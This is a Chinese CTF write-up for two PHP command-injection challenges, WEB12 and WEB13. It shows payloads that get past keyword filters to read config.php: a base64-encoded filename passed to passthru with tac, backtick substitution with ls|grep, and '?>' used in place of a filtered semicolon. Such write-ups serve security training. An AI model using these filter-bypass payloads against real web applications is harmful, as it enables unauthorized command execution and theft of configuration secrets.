WEB12~13

##解题思路1(WEB12)

首先跟上几题一样,flag在config.php里,但是过滤更加严格了,cat和php之类的全过滤了,怎么办?

分析一下,正常的执行函数不能用,但没有过滤passthru,查看命令less、more、tac之类的都没有过滤,文件名和路径拼接过滤了,但是加密一下就可以啦!

但现在问题来了,加密该如何加密?

我们就需要将config.php进行base64编码,然后进行decode,再放到passthru函数里

于是乎,payload如下

复制代码
?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a");

##解题思路2(WEB12)

经过看网上的wp,发现其实还有第二种方法,我们需要知道以下内容

复制代码
反引号``, 可执行系统命令, 并返回一个字符串类型的变量, 用来保存命令的执行结果, 需要注意的是, 反引号``中的命令会先被执行并将结果以字符串类型的变量返回, 而后再参与到其他代码的执行, 类似一个函数

使用样例如下,如果我们使用反引号将ls命令括起来,那么返回结果将会作为字符串,而echo能打印字符串

复制代码
?c=echo `ls|grep confi*`;

于是结果如下

基于以上原理,最终结合最开始讲的命令执行函数,payload如下

复制代码
?c=passthru('tac `ls|grep confi*`');

如果用more之类查看文件命令的,页面没有回显,那么查看页面源码,就可以得到flag啦!

##解题思路(WEB13)

其实就是在WEB12的基础上,多了分号 ; 和file的过滤,其余逻辑都一样,那就说明,我们只需要绕过其中一个就好了。

我们可以用?>代替;完成闭合,最终payload是

复制代码
?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a")?>

直接get flag

相关推荐
EasyGBS1 小时前
终结训推割裂!EasyGBS×EasyAIS×DLTM,实现AI算法训推一体闭环落地!
服务器·深度学习·安全
云杂项1 小时前
现代密码学(杨波)【第五版】(个人笔记)
安全·密码学
程序员JerrySUN2 小时前
Jetson Edge AI 实战01:Nano、Xavier、Orin 怎么选?Jetson 硬件选型详解【视频讲解】
java·数据库·redis·安全·mybatis
2601_962364974 小时前
红外活体模组,Windows 设备安全身份入口解析
windows·安全·电脑
闲云野鹤在人间6 小时前
docker 入门 | 第5章 网络详解
网络·docker·架构·华为云·php
flying jiang6 小时前
TencentEdgeOne/enterprise-website-template 国内独立开发部署完整方案
web
域智盾系统来啦7 小时前
电脑远程监控软件具备哪些核心能力?电脑远程监控软件企业落地核心知识点汇总
安全·远程工作·电脑远程监控软件
hz567897 小时前
手术室视频示教系统解决方案:让临床教学突破空间限制
安全·音视频·实时音视频·信息与通信·智能硬件
PHP实战开发录8 小时前
MySQL连接数为什么会打满
系统架构·php·开发
VXbishe8 小时前
【课程设计】基于SpringBoot的乡村政务服务系统的设计与实现-计算机毕设77011
javascript·vue.js·spring boot·python·php·课程设计·政务